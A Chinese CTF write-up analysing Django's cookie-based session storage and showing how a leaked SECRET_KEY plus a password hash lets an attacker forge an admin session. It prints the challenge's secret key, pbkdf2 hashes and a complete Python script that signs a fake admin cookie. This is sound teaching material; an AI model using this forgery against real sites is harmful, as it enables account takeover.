从hackgame2019一道web分析Django cookie-session的安全性

2019-10-26 约 717 字 预计阅读 4 分钟

声明:本文 【从hackgame2019一道web分析Django cookie-session的安全性】 由作者 Mads 于 2019-10-26 09:24:08 首发 先知社区 曾经 浏览数 36 次

感谢 Mads 的辛苦付出!

直接进入正题。

被泄漏的姜戈

Description

「听说有离职的同学,把你们的代码和数据库泄漏了出去?好像还在什么 hub 还是 lab 来着建了一个叫 openlug……」

「没关系,反正 admin 用户的密码长度有 1024 位,我自己都忘了密码,就算老天爷来了,也看不到我们的 flag!」

http://202.38.93.241:10019/

Solution

首先根据提示,从Github下载到了题目的源码:openlug/django-common

理一下源码,发现是用Django写的一个简单的登录应用,而且是用django-admin生成的模板代码改的。在settings.py里面找到了一些有用的信息。

源码23行记录了Django使用的SECRET_KEY

# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'

第57行配置了应用所使用的session存储方式是signed_cookies

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# javascript code can get document.cookie, debug
SESSION_COOKIE_HTTPONLY = False

Django有很多种session的存储方式,查阅文档大概有以下几种

  • Using database-backed sessions
  • Using cached sessions
  • Using file-based sessions
  • Using cookie-based sessions

其中cookie-based sessions是一种客户端session,与flask的那种客户端session一个原理。是将session里的字段通过Django自己设计的sign算法签名编码之后存放在客户端的cookie中,然后每次客户端带着这个cookie访问,服务端再次通过sign算法验证,从而拿到session。

利用django的sign算法编码与解码session的例子如下:

>>> from django.core import signing
>>> value = signing.dumps({"foo": "bar"})
>>> value
'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'
>>> signing.loads(value)
{'foo': 'bar'}

这里需要注意的是loads和dumps时候其实是要带上一个额外的key参数的,如果不配置就默认是app的SECRET_KEY,但命令行启动的环境是没有配置的,所以我们带上key才可以进行解码。

然后我利用上面django提供的api进行session解码,发现解不了。题目中给的SECRET_KEY应该是没问题的,看API文档发现还有个salt参数,默认值是"django.core.signing"。猜想可能是这个参数错了。

dumps(obj, key=None, salt='django.core.signing', compress=False)[source]¶
Returns URL-safe, sha1 signed base64 compressed JSON string. Serialized object is signed using TimestampSigner.

loads(string, key=None, salt='django.core.signing', max_age=None)[source]¶
Reverse of dumps(), raises BadSignature if signature fails. Checks max_age (in seconds) if given.

只能翻源码找这个salt到底是什么。这里应该很容易发现dumps和loads的参数是一样的,所以找到了signed_cookies的dumps方法和loads方法等效。

django/django/contrib/sessions/backends/signed_cookies.py的SessionStore->load方法

from django.contrib.sessions.backends.base import SessionBase
from django.core import signing


class SessionStore(SessionBase):

    def load(self):
        """
        Load the data from the key itself instead of fetching from some
        external data store. Opposite of _get_session_key(), raise BadSignature
        if signature fails.
        """
        try:
            return signing.loads(
                self.session_key,
                serializer=self.serializer,
                # This doesn't handle non-default expiry dates, see #19201
                max_age=self.get_session_cookie_age(),
                salt='django.contrib.sessions.backends.signed_cookies',
            )
        except Exception:
            # BadSignature, ValueError, or unpickling exceptions. If any of
            # these happen, reset the session.
            self.create()
        return {}
...

发现session的载入方法就是封装了一层signing.loads,然后指定了特定的salt"django.contrib.sessions.backends.signed_cookies"。利用这个发现,我们可以decode题目中给出的session-cookie了。

目前为止,我们有:

  • SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
  • session_cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ

调用decode api解码得到如下结果:

>>>signing.loads(session_cookie,key="d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39",salt="django.contrib.sessions.backends.signed_cookies")
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

可以看到有三个字段

  • _auth_user_id
  • _auth_user_backend
  • _auth_user_hash

这时候我尝试只修改_auth_user_id字段为1,然后encode之后,登录失败了。猜想可能后面的_auth_user_hash字段也要正确才能通过验证。于是继续翻源码,

在django/django/contrib/auth/init.py我们发现了登录验证函数:

import inspect
import re

from django.apps import apps as django_apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.middleware.csrf import rotate_token
from django.utils.crypto import constant_time_compare
from django.utils.module_loading import import_string
from django.utils.translation import LANGUAGE_SESSION_KEY

from .signals import user_logged_in, user_logged_out, user_login_failed

SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
HASH_SESSION_KEY = '_auth_user_hash'
REDIRECT_FIELD_NAME = 'next'

...
def login(request, user, backend=None):
    """
    Persist a user id and a backend in the request. This way a user doesn't
    have to reauthenticate on every request. Note that data set during
    the anonymous session is retained when the user logs in.
    """
    session_auth_hash = ''
    if user is None:
        user = request.user
    if hasattr(user, 'get_session_auth_hash'):
        session_auth_hash = user.get_session_auth_hash()

    if SESSION_KEY in request.session:
        if _get_user_session_key(request) != user.pk or (
                session_auth_hash and
                not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
            # To avoid reusing another user's session, create a new, empty
            # session if the existing session corresponds to a different
            # authenticated user.
            request.session.flush()
    else:
        request.session.cycle_key()

    try:
        backend = backend or user.backend
    except AttributeError:
        backends = _get_backends(return_tuples=True)
        if len(backends) == 1:
            _, backend = backends[0]
        else:
            raise ValueError(
                'You have multiple authentication backends configured and '
                'therefore must provide the `backend` argument or set the '
                '`backend` attribute on the user.'
            )
    else:
        if not isinstance(backend, str):
            raise TypeError('backend must be a dotted import path string (got %r).' % backend)

    request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
    request.session[BACKEND_SESSION_KEY] = backend
    request.session[HASH_SESSION_KEY] = session_auth_hash
    if hasattr(request, 'user'):
        request.user = user
    rotate_token(request)
    user_logged_in.send(sender=user.__class__, request=request, user=user)
...

可以看到调用了user.get_session_auth_hash()获得session_auth_hash,并且之后赋值给了request.session[HASH_SESSION_KEY] = session_auth_hash,而HASH_SESSION_KEY就是字符串
"_auth_user_hash",所以我们跟进user.get_session_auth_hash()

在django/django/contrib/auth/base_user.py:

...

def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
...

可以发现就是key_saltself.password传入salted_hmac进行hash。但这里用到了self.password,也就是说想计算这个hash值还需要知道密码才行。但我们计算这个hash的目的就是为了伪造session,如果密码都知道了那还伪造个毛?直接登录不就可以了?这里感觉有点奇怪,不应该用密码才对。我们看看这个self.password是怎么来的:

在django/django/contrib/auth/base_user.py:

class AbstractBaseUser(models.Model):
...

    def set_password(self, raw_password):
        self.password = make_password(raw_password)
        self._password = raw_password

我们发现self.password其实并不是raw_password,raw_password其实是存在了self._password变量里面,真是具有迷惑性的名字。我们跟进make_password函数:

在django/django/contrib/auth/handlers.py:

def make_password(password, salt=None, hasher='default'):
    """
    Turn a plain-text password into a hash for database storage

    Same as encode() but generate a new random salt. If password is None then
    return a concatenation of UNUSABLE_PASSWORD_PREFIX and a random string,
    which disallows logins. Additional random string reduces chances of gaining
    access to staff or superuser accounts. See ticket #20079 for more info.
    """
    if password is None:
        return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH)
    hasher = get_hasher(hasher)
    salt = salt or hasher.salt()
    return hasher.encode(password, salt)

发现make_password函数原始的作用是Turn a plain-text password into a hash for database storage,也就是说这个函数是计算原始明文密码的hash的,这个hash是存在数据库里面的,也就是通常大家在脱库时候脱出来的密码md5类似。

所以这里就很明了了。整个_auth_user_hash字段的计算就是

raw_password > make_password(raw_password) > salted_hmac(key_salt, make_password(raw_password)).hexdigest()

而这里的key_salt在django/django/contrib/auth/base_user.py直接给出了,make_password(raw_password)的值也存放在数据库里面,也是知道的,这样就可以计算出_auth_user_hash的值,从而伪造session了。

至此,翻源码到此为止了,整个session_cookie的生成以及session里面的各个字段的生成原理也搞明白了。

这里可以看出来是有两重的保护的。

  1. Django这个框架的SECRET_KEY保证了session_cookie没法被恶意篡改
  2. django-admin这个框架的_auth_user_hash保证攻击者还要拿到密码的哈希值才能进行伪造

本题就是同时泄露了SECRET_KEY和密码哈希,所以才能进行伪造。

下面是简单的验证代码:

from django.core import signing
from django.utils.crypto import salted_hmac


SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
guest_hash = 'pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM='
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='

guest_session_cookie = '.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ'
signed_cookie_slat = 'django.contrib.sessions.backends.signed_cookies'

# load guest session_cookie
guest_session_cookie_dict = signing.loads(guest_session_cookie,key=SECRET_KEY,salt=signed_cookie_slat)

# {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"

# validate "_auth_user_hash"
assert salted_hmac(key_salt, guest_hash, secret=SECRET_KEY).hexdigest() == guest_cookie_dict['_auth_user_hash']

# no message is good message

# fake session cookie
fake_admin_session_cookie_dict = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

fake_admin_session_cookie_dict['_auth_user_hash'] = salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest() 

# encode
fake_admin_session_cookie = signing.dumps(fake_admin_session_cookie_dict,key=SECRET_KEY,salt=signed_cookie_slat)

print(fake_admin_session_cookie)

完。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now